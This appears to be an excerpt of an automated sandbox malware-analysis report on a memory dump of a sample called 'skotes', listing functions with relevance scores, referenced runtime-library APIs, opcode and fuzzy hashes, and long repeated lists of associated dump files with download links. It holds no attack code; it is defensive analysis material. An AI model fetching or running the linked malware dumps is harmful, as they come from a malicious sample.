Opcode ID: c2ca0dfb30dcd61595533c886dbe0494291305ac757ebc5bf95cbd1249878368
Instruction ID: 1563ea8d4321ce161353acc8dc968b4d66a56de9661436736714606ab08a29d6
Opcode Fuzzy Hash: c2ca0dfb30dcd61595533c886dbe0494291305ac757ebc5bf95cbd1249878368
Instruction Fuzzy Hash: 2A51E5B260024EAFEB215F65DC41EBB77E9DF84758F256129FE04B7191EB32DC1086A0

Function 00EDE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00EDE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EDE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EDE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00EDE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00EDE9DC

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: dd212a7d209d91f86e5659e388336cb5fa3e58bdadf9f72ac36ead39aa5e3c27
Instruction ID: f4be0de1f4e439dbeec6b22b78bc765c4b5bb93ba157bf7536652e33e4a4cdf1
Opcode Fuzzy Hash: dd212a7d209d91f86e5659e388336cb5fa3e58bdadf9f72ac36ead39aa5e3c27
Instruction Fuzzy Hash: 0F413275A01619EFCB09EF64C558AADB7B6FF88310F04915AE506AB391CF74AD02CB81

Function 00ECECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ECECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ECED17

Part of subcall function 00ECF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ECF3FA

__alloca_probe_16.LIBCMT ref: 00ECED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00ECED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ECEDC6

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 7a090f0fb4ac9ad5f8031d66c7ebf2e4d051a4ded590ddf9d5767cdd34a7b318
Instruction ID: 00af4b2f94cd01bed3005bd5261005a744c354ac768820e3c6ebdd4e432379ef
Opcode Fuzzy Hash: 7a090f0fb4ac9ad5f8031d66c7ebf2e4d051a4ded590ddf9d5767cdd34a7b318
Instruction Fuzzy Hash: 8431A171A002058BCB15DFA8CA41BADBBF5EF49314B24506EE406F7350DB369E03CB91

Function 00EDD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00EDD344
ListArray.LIBCONCRT ref: 00EDD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00EDD370
ListArray.LIBCONCRT ref: 00EDD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00EDD3B3

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 4e660f5adda635d0684c21f3b542bdba0edfc03f255ea2bb72a34a09d486cefe
Instruction ID: 8eb8a8314bf17f3dab156b7a4ab3d5aa07cc96c6f7f06f639424bef58a18f648
Opcode Fuzzy Hash: 4e660f5adda635d0684c21f3b542bdba0edfc03f255ea2bb72a34a09d486cefe
Instruction Fuzzy Hash: FB31AE35704214AFCB05DB64C884BADB7B6EF89304F15519AE806AB392DB70ED42CB92

Function 00ED86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ED86EE

Part of subcall function 00ECEAD0: _SpinWait.LIBCONCRT ref: 00ECEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00ED8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00ED8734
List.LIBCMT ref: 00ED87B7
List.LIBCMT ref: 00ED87C6

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 6b11da8a58bdfe1981db139ea671535678a2269c9f5f32c49abc2327eb79e487
Instruction ID: fb474fb4abf6be98dce08c4b6f9a072484e2fdadc9fc8c8ed2f75b7d20d393a3
Opcode Fuzzy Hash: 6b11da8a58bdfe1981db139ea671535678a2269c9f5f32c49abc2327eb79e487
Instruction Fuzzy Hash: CD314332A052559FCB14EFA8C681AEDBBB1FF04718F24206FD401B7752CB32A906CB90

Function 00EE182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00EE18EB

Strings

pContext, xrefs: 00EE189C

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
